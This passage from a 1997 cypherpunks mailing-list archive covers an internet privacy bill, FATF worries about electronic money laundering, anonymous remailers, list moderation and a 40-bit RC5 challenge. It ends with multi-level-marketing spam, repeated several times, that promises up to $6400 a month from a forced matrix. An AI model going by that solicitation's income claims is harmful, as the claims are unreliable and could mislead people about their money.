"Consumer Internet Privacy Protection Act of 1997," (H.R. 98)  This bill
provides that "an interactive computer service shall not disclose to a third
party any personally identifiable information provided by a subscriber to such
service without the subscriber's prior informed written consent."  It requires
online services to provide an express opt-out for subscribers at any time,
prohibits services from knowingly distributing false information about users,
and also mandates giving subscribers access to the information maintained about
them for review, updates and corrections, as well as the identity of the party
receiving the information, at no charge.  The bill authorizes the Federal Trade
Commission to "to examine and investigate an interactive computer service to
determine whether such service has been or is engaged in any act or practice
prohibited by this Act," and to issue a cease and desist order.  Notably, it
also provides that an individual may sue the violator directly without
having to
go through the FTC.

        As a general matter, this bill enacts the practice of many online
services and sites, and the position of most self-regulatory industry
groups, by
asking consent before revealing personally-identifiable information.  But the
bill goes well beyond the ordinary industry practice by requiring "prior
informed written consent," which is defined in this bill as "a statement--

                (A) in writing and freely signed by a subscriber;

                (B) consenting to the disclosures such service will make of the
information provided; and

                (C) describing the rights of the subscriber under this Act."

What this could conceivably mean is that services which have all of their
registration online may be unable to fulfill this requirement.

        Additionally, the bill is unclear about which online services will be
subject to its provisions.  It defines "interactive computer service" as "any
information service that provides computer access to multiple users via
modem to
the Internet."  This certainly covers dedicated Internet service providers
(ISP's) and combination proprietary/Internet services like America Online and
MSN.  The bill may also cover services which depend on their ability to reveal
certain information to advertisers in exchange for offering free Internet
e-mail
to their users.  Beyond that, purely Web-based services may fall into the
purview of this bill, depending on whether providing access via modem requires
that the modem dial directly into the service in question or not.

        Theoretically, this bill could even prevent online purchases absent a
signed authorization form from each purchaser, because a service would have to
reveal the name and address of the purchaser to the seller in order for the
goods to be delivered.  Even more troubling, the bill does not even provide an
exception for information shared between a service owner and the company owning
the computer hosting the service, regardless of whether there is a contractual
obligation for confidentiality, since the hosting company has access to the
information collected by the service about its users.

        As with other bills of this type, it is important for any company
intending to offer Internet-related services to individuals to follow and
perhaps attempt to affect the path of the Consumer Internet Privacy Protection
Act of 1997, since it could have significant impact on planned services,
revenue
sources and per-subscriber costs.  For those interested in forestalling this
type of governmental action, the best response may be to accelerate
self-regulatory initiatives to deal with the valid concerns of consumers
who may
be providing information about themselves and their buying habits, either
in the
process of registration or while using the service.  At the same time, the
self-regulatory bodies can create rules based on the actual business practices
and realities of their members, rather than drafting with a broad brush as
Congress does in so many instances.  If companies are going to be able to take
the greatest economic advantage of the interactivity of the Internet as opposed
to traditional broadcast and print media, there needs to be some way of legally
and ethically utilizing information provided by subscribers in order both to
enhance the subscribers' experience and to gain revenue through appropriate
business relationships with advertisers, retailers, and others who may wish
access to consumers.

Copyright 1997 Jonathan I. Ezor, Davis & Gilbert.  All rights reserved.

Jonathan I. Ezor is an attorney with Davis & Gilbert in New York City,
practicing new media and computer law, focusing on the advertising
industry.  Mr. Ezor can be reached at jezor@newmedialaw.com.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derrick Storren <dekkard@sprynet.com>
Date: Thu, 6 Feb 1997 09:28:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: FinCEN hates cybercash, who 'da thunk it...
Message-ID: <32FA14C8.5619@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Big brother, Morris, at FinCEN sees a criminal behind every cyber
dollar.  The sky is falling, the sky is falling, it's raining cyber
cash!

Artilce follows :)
******************

		_G7 groups frets over electronic money laundering_

Copyright (c) 1997 Nando.net
Copyright (c) 1997 Agence France-Presse 

PARIS (Feb 6, 1997 11:30 a.m. EST) - Money-laundering fighters from key
industrial countries and leading
Asian financial centers are looking into ways of countering use of the
Internet and "smart cards" to clear
proceeds from criminal activities, officials said Thursday.

The Financial Action Task Force (FATF), set up following a Group of
Seven initiative at their l989 summit, called
in a lengthy report for closer cooperation and coordinated efforts to
fight money laundering, especially in
regard to new electronic payments technologies.

The report noted that these technologies were still "in their infancy"
and said it was "premature to consider
prescriptive solutions to theoretical problems."

But Stanley Morris of the United States Treasury, who chaired a FAFT
working group which drafted the report,
told a news conference that law enforcement agencies would face 'very
major new challenges' if new
technology moves the world "to a cashless society, beyond banks, cash
and borders."

He said the group's meeting, held in Paris last November, was the first
time an international organization has
examined "the implications of e-money - electronic money - or cyber
payments."

The group had for the first time examined "not only criminal activity as
we see it" at present, but "what kind of
crominal activites might occur as we approach the new payments
technologies relying on the revolution in
microchips and .. changes in payments services generally."

Morris, who heads the U.S. Treasury's Financial Crimes Enforcement
Network (FinCEN), said cash had
become "a significant problem" for criminal groups, which find it
increasingly difficult to channel their criminal
proceeds into the banking system, at least in FATF countries.

"We find a clear move away from direct dealing with banks to non-bank
institutions, including bureaux de
change money order sellers, and even professional services like lawyers
and accountants," he said.

The group had also seen "the realities of economic globalization," he
said, adding that financial activities are
"poorly controlled by the nation states."

Morris said the working group had therefore invited representatives of
the high technology industry now
working on the new payments technology which was still "in the prototype
stage" without any clear indication
as to the direction they might take.

"We wanted to sit down with the industry as experts on money laundering
enforcement.... to let them know now
what kinds of systems would cause us problems and give the bad guys new
opportunities," he said.

The purpose was to seek to encourage development of these technologies
"in ways that do not provide a new
forum for money laundering," he said.

The FATF was essentially a preventive business, Morris added. "We do not
measure our success simply on
arrests and (money) seizures."

FATF chairman Fernando Carpentieri, the Director General of the Italian
Treasury, said drug trafficking
remained a key source of criminal proceeds which crime groups were
seeking to "legalize."

He said the Task Force, consisting mainly of OECD member countries, as
well as Hongkong, Singapore, the
Gulf Cooperation Council and the European Commission, was not at present
considering admitting further
members to preserve its efficiency.

But it was working with the authorities of countries throughout the
world to secure the broadest possible
implementation of the anti-money laundering measures it has
recommended.> G7 groups frets over electronic money laundering




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 13:52:56 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Cypherpunks FOIA request
In-Reply-To: <199702060356.TAA11723@toad.com>
Message-ID: <3.0.1.32.19970206125537.00602408@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:49 PM 2/5/97 -0800, Lucky Green wrote:
>My attorney used to fly planes with nuclear cargo. Another friend of mine
>has been visited several times by the FBI. In either case, the FBI claimed
>upon receiving an FOIA request that they have no record on either person.
>Does anybody here believe that the USAF would let pilots take off with
>nukes on board without ever conducting a background investigation (which
>are handled by the FBI)? I didn't think so.

Background investigations for defense contractors are handled by DISCO, 
the Defense Industrial Security Clearance Office; I don't know if they
also do internal military clearance work, but I'd assume it's
_somebody_ on the military side rather than FBI, though presumably
the military does also check FBI records (and the FBI probably doesn't
have a blanket policy of always lying to the military :-)
Nuclear clearances presumably go into more depth...

As far as your friend being visited by the FBI several times,
that's obviously part of an ongoing criminal investigation (:-),
so they don't have to tell you.  If they're still thinking about
going back and harassing your friend, it's still ongoing, even if
they now know that he is or is not a Commie Sympathizer.

That, or they could have just been unable to find the records.
Anything computerized should be findable (doesn't mean it _is_,
just that it should be), though they're probably more organized
about finding things they want to find than finding things
you want them to find.  But records that exist only on paper
are a lot tougher to wade through; you can't grep dead trees,
and if your friend was being checked out as "somebody suspicious
who knows somebody we're trying to investigate/harass", the files
may not be indentified under your friend's name, or may be
stored in some big warehouse where nobody's waded through them
in decades.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Thu, 6 Feb 1997 10:02:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: mail-to-news fun
In-Reply-To: <199702060140.RAA08923@toad.com>
Message-ID: <Pine.LNX.3.95L01at.970206125845.294B-100000@homebox>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
...snip...
> If I were going to restart a remailer, and to offer news posting,
> I'd probably limit it to posting to moderated newsgroups only,
> so a human can trash things that look like SPAM or abuse;
> the abuse that caused me to kill my remailer wasn't something
> a simple filter would catch.  (I'd also prefix each posting with a 
> header about this message having been received from an anonymous source,
> not verified, not guaranteed to be worth the electrons it's printed on,
> probably not written by anybody whose name's at the bottom, etc....
> People don't read mail headers or disclaimers at the bottom,
> and putting disclaimers like that into message text for
> email exposes the message to traffic analysis.)

How does putting it in the message expose it to traffic analysis but not
putting it in a header?

>
...snip...
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 

--------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 6 Feb 1997 13:02:18 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: "Why am I being completely censored"?
In-Reply-To: <vpohdxj0i8.fsf@sten.tivoli.com>
Message-ID: <199702062102.NAA29965@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 	I'd just appreciate it if someone would explain to me just why
> I'm being completely censored from the cypherpunks list.  ...
> Absolutely none of my recent postings are even going to
> cypherpunks-unedited, I've received no response to my mail to
> gnu@toad.com asking why, and I've received absolutely no bounces
> indicating that there are delivery problems.

I haven't investigated your story because you didn't provide enough
details and because I have been busy with other things.  There is no
infrastructure here for blocking postings from going through
cypherpunks-unedited.  It really is unedited.  Perhaps there is a
mailer problem (at your end or at mine).

If you cc'd yourself on your messages to cypherpunks, please send me a
verbatim copy of such a message that did not appear in
cypherpunks-unedited, including all the header lines.  I can trace
whether it was ever seen on the toad.com end and what happened if it
was.

Hmm.  Your message that I just received, about this problem, was cc'd
to cypherpunks.  It did not make it into the cypherpunks-unedited
list.  In examining the message header itself, there is an "Approved:
yes" line.  My guess is that your attempt to be too tricky has screwed
you.  Majordomo is probably zapping postings that claim to be, but
aren't actually, moderator-approved.  This is just a guess.  Please
try making a posting to cypherpunks without such a line, and see if it
goes through into the unedited list.  Let me know.

	John




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 10:35:50 -0800 (PST)
To: FC97.Distribution@shipwright.com
Subject: My apologies...
Message-ID: <v03007819af1fd362e7bb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


I'm very sorry.

I just committed a major breach of nettiquette.

I just accidentally sent out the last FC97 Revised Program to this
monsterous cc list, instead of using the bcc: field.

Again, please my most sincere apologies.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben <ben@edelweb.fr>
Date: Thu, 6 Feb 1997 06:23:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: About: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <32FA0461.2252@toad.com>
Message-ID: <Pine.SUN.3.95.970206152156.14250a-100000@lanson.gctech.edelweb.fr>
MIME-Version: 1.0
Content-Type: text/plain


> > > User of the list, has no place to talk. His type, to me,
> > > Characterate those who quit something and complain later,
> > > Knowing that some people will listen to them.
> > >
> > > So what, if he decided to leave? It was his own choice
> > > And he can't just come back and say everyone who stayed is
> > > Now impelled to listen to him, just because he used to
> > > Do a bunch of posts. I don't think that hardly any of
> > > You would listened to me later if I left the list.
> 
>  I write good englich, but I write it verticaly, not horizontaly.
> Try reading the above up-to-down, just the first letters of
> each line.
>  It may be kindegarten crypto, but it made it onto the censored
> list.

Ahh...Sorry for the flame.  You're obviously not a native English
speaker(the Canadian address belies your origins).  Native English
speakers however have no right to poor English.

PS: The word you want is STILL characterize.

Ben.
____
Ben Samman..................................................ben@edelweb.fr
Paris, France                      Illudium Q36 Explosive Space Modulator






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 6 Feb 1997 12:42:57 -0800 (PST)
To: Derrick Storren <cypherpunks@toad.com
Subject: Re: FinCEN hates cybercash, who 'da thunk it...
In-Reply-To: <199702061922.LAA28357@toad.com>
Message-ID: <3.0.1.32.19970206154731.0078ee50@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>But Stanley Morris of the United States Treasury, who chaired a FAFT
>working group which drafted the report, told a news conference that 
>law enforcement agencies would face 'very major new challenges' if new
>technology moves the world "to a cashless society, beyond banks, cash
>and borders."

Oh No!  First they told us that they were all in favor of a cashless society
because they could track all the transactions.  It was their Orwellian
Dream.  Now Nirvana has almost arrived and they're afraid of it.  Can't
they make up their minds?

I noticed the problem long about 1975 when I noticed that the spread of
ATM cards was actually the spread of a bearer instrument and would
not satisfy the control needs of the regulatory types.

DCF
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9ng7MxOn4fYOWSzcP2TnNOjq5rc6IA2ROahGD2OHkHPYp8bjS36ssbu1GmGbHofQ
pvkUXNxrdIk=
=VKtO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 6 Feb 1997 13:48:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Why am I being completely censored"?
In-Reply-To: <199702062102.NAA29965@toad.com>
Message-ID: <vpk9olip39.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> John Gilmore writes:

JG> Hmm.  Your message that I just received, about this problem, was
JG> cc'd to cypherpunks.  It did not make it into the
JG> cypherpunks-unedited list.  In examining the message header
JG> itself, there is an "Approved: yes" line.  My guess is that your
JG> attempt to be too tricky has screwed you.

	It appears that this was the problem.  Deal with a
self-moderated newsgroup, and ent up with self-censorship.  *shrug*.
I wish that John had helped to resolve the problem before I made it
public, but that's life.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: markh@wimsey.bc.ca (Mark C. Henderson)
Date: Thu, 6 Feb 1997 15:56:33 -0800 (PST)
To: cryptography@c2.net
Subject: Wimsey cryptography archive is moving to Mindlink
Message-ID: <m0vsdfv-0000NRC@vanbc.wimsey.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Subject: Wimsey cryptography archive is moving to Mindlink

The Wimsey cryptography archive at ftp://ftp.wimsey.com/pub/crypto is moving
to MIND LINK (http://www.mindlink.net). 

You can now access the contents of the cryptography archive at its new location
ftp://ftp.mindlink.net/pub/crypto

The archive has been at Wimsey for about five years. I'd like to thank
the folks at Wimsey for providing disk space, bandwidth, technical
expertise, and for supporting the distribution of ~140MB of cryptography 
papers and software on the Internet.

As with Wimsey, MIND LINK is providing disk space and bandwidth 
for the archive at no charge to me or the users of the archive.
Thanks should go to MIND LINK for providing this as a service to
the Internet community.

Two small notes:
1. I assume sole responsibility for the contents of the archive. The
   folks at MIND LINK are generously providing facilties at no charge
   above their usual access fees, but they are not necessarily even 
   aware of the exact contents of the archive. My only connection with 
   MIND LINK is as a customer. 

2. Please do not attempt to use the MIND LINK crypto archive to violate
   the laws of the U.S. or Canada. Distribution of cryptographic software
   is limited to U.S./Canadian persons in the U.S./Canada. All access to 
   the site is logged.

Any problems or questions? Please feel free to contact me at 
mark_henderson@mindlink.net 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBMvptauI11LPFgBXjAQGw7AQAgYTIUjU/6O40gTgFvhtDrBMc+TEaWW2x
2sHdk0QYRPJ2uGwoQA7psbHh2r6eu/6NqKCmKALTnZ1caWDcZLKsiLyDHQKwSGQV
EK/+xnXqnb87MJfCGL5deDLCUOIo2UupFttCxd6EAdD8Dt670WT+Oe3Q9acrnmIM
Lr+wyuw8WS8=
=NilL
-----END PGP SIGNATURE-----

-- 
Mark Henderson -- markh@wimsey.bc.ca, mark_henderson@mindlink.net
PGP Key Fingerprint: 21 F6 AF 2B 6A 8A 0B E1  A1 2A 2A 06 4A D5 92 46
http://www.squirrel.com/squirrel/ - change-sun-hostid, unstrip for Solaris, 
computer security, TECO, FGMP, Sun NVRAM/hostid FAQ, MIND LINK crypto archive




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 16:07:34 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: mail-to-news fun
In-Reply-To: <199702061921.LAA28330@toad.com>
Message-ID: <3.0.1.32.19970206160606.00642a10@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:01 PM 2/6/97 -0500, Scott V. McGuire wrote:
>On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:
>> People don't read mail headers or disclaimers at the bottom,
>> and putting disclaimers like that into message text for
>> email exposes the message to traffic analysis.)

>How does putting it in the message expose it to traffic analysis but not
>putting it in a header?

Suppose you're sending a message on a remailer chain of
you -> Alice->Bob->Charlie->Dave->Eve->Fred--> target
and Bob puts lots of disclaimers in his remailer's outgoing messages.
Anything Bob puts in a header will get stripped out by Charlie,
so it's no problem.  However, if Bob tacks a disclaimer
as the bottom text in the outgoing message, when Eve sends
mail to Fred she'll also see the disclaimer that
	The message was sent by an anonymous user
	through the remailer at Bob's Remailer Shack.
	Bob doesn't know who sent it, and doesn't keep records,
	so he can't squash the user, but he can block mail to you
	if you don't want any more anonymous email.
	Don't believe everything you read!
so she'll know to check the FBI Illegal Wiretap files for Bob.

Some comments and backtracking
0) Of course, if you want to avoid traffic analysis,
sending unencrypted email is pretty stupid, and only the
next hop is going to see a disclaimer that you append 
after the encrypted part of the message.

1) Prepending the disclaimer to the message body is
pretty unfriendly to the :: syntax, and not all that
great for PGP encrypted messages either.  Pretend I 
really just suggested appending it at the end,
since that's what I would have said if I'd been thinking :-)

On the other hand, I suppose that you can see whether the
next hop is a Type I remailer by looking for the :: or ##.

2) Cutmarks would be a nice fix, but they require too much
attention to detail to get right, in case the next hop
is a remailer.

So maybe you _should_ always put in the disclaimer,
at the end, with a reminder to always encrypt your
remailer-chain mail if you want to avoid traffic analysis :-)





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Thu, 6 Feb 1997 13:17:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: 40-bit RC5 crack meaningless??
Message-ID: <v03007806af1ff955a4a2@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain


(A gem off sci.crypt. Schwartau's mailing list is turning into the most
amazing source of misinformation or disinformation about cryptography on
the Net.  And he's probably got the most influential audience in Washington
re crypto policy. Go figure;-)
----------------
Subject: 40-bit RC5 crack meaningless??
 Date: 6 Feb 1997 11:43:58 -0500
 From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
Newsgroups:  sci.crypt


Strassmann, the author of this denunciation of RSADS and
Ian Goldberg, is the former Director of Defense Information
(i.e., CIO,) of the Bush DoD and an often-insightful commentator
on business culture and computing.  Strange is the logic that
channels the mind of the American Defense Intellectual... or,
maybe he just doesn't know squat about cryptography???

(Reposted from Infowar Digest, Winn Schwartau's
moderated mailing list <mail to: infowar@infowar.com>
without permission.)

>Date: Thu, 30 Jan 1997 20:10:36 -0500
>To: "Wright Larry" <Wright_Larry@bah.com>
>From: "Paul A. Strassmann" <paul@strassmann.com>
>Subject: Further to Goldberg's Cracking Accomplishments
>Gentlemen:
>
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.
>
>These clues made the cracking significantly easier,
>because it made it possible to eliminate an enormous
>range of possible searches.
>
>The following was extracted verbatim from the
><The RSA Data Security Secret-Key Challenge>
>posted on <http://www.rsa.com/rsalabs/97challenge/>:
>
>Clue #1:
>
>  " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
>will use 12-round RC5 with a 32-bit word size. "
>
>Clue #2:
>
>  " ...The first RC5 contest will consist of some unknown plaintext
>encrypted using a 40-bit key;."
>
>Clue #3: (a  giveway!)
>
> " ... For each contest, the unknown plaintext message is preceded by three
>   known blocks of text that contain the 24-character phrase "The
>   unknown message is:  .....".
>
>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.
>
>What other clues may have been provided to Goldberg
>to  support private agendas and gain shrill headlines
>is also a matter of speculation, but I rest my case.
>
>I certainly cannot assert that a 40 bit key cannot be decyphered.
>However, I do not think that the RSA unqualified claims
>offer full and appropriate disclosure.
>
>Paul
>
>At 10:21 AM -0500 1/30/97, Wright Larry wrote:
>>Following provided for your information.
>>
>>
>>EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE
>>CIPHER BROKEN IMMEDIATELY
>>
>>January 28, 1997 - Ian Goldberg, a UC Berkeley graduate
>>student, announced today that he had successfully
>>cracked RSA Data Security Inc.'s 40-bit challenge cipher
>>in just under 3.5 hours.
>>
>>RSA challenged scientists to break their encryption
>>technology, offering a $1000 award for breaking the
>>weakest version of the code.  Their offering was
>>designed to stimulate research and practical experience
>>with the security of today's codes.
>>
>>The number of bits in a cipher is an indication of the
>>maximum level of security the cipher can provide.  Each
>>additional bit doubles the potential security level of
>>the cipher.  A recent panel of experts recommended
>>using 90-bit ciphers, and 128-bit ciphers are commonly
>>used throughout the world, but US government regulations
>>restrict exportable US products to a mere 40 bits.
>>
>>Goldberg's announcement, which came just three and a
>>half hours after RSA started their contest, provides
>>very strong evidence that 40-bit ciphers are totally
>>unsuitable for practical security.  "This is the
>>final proof of what we've known for years: 40-bit
>>encryption technology is obsolete," Goldberg said.

<...Rest of the nnouncement from UC Berkeley snipped>

>Paul A. Strassmann
>55 Talmadge Hill Road, New Canaan, CT. 06840
>Telephone: 203-966-5505; Fax: 203-966-5506
>INTERNET:                  paul@strassmann.com
>WorldwideWeb:           http://www.strassmann.com
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Thu, 6 Feb 1997 14:55:37 -0800 (PST)
To: Remailer Operators <cypherpunks@toad.com>
Subject: Updated type2.list/pubring.mix
Message-ID: <Pine.BSI.3.95.970206165218.16162E-100000@alpha>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have just updated the type2.list/pubring.mix combination on jpunix.com.
This change reflects the retirement of the lead remailer. The files are
available by anon FTP from ftp.jpunix.com as well as by Web from
www.jpunix.com.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


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3dc5iLDuZ94=
=pAwB
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: starvino@gte.net
Date: Thu, 6 Feb 1997 14:59:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Kool! Klassy! Klever!
Message-ID: <199702062259.QAA13344@smtp.gte.net>
MIME-Version: 1.0
Content-Type: text/plain


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If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

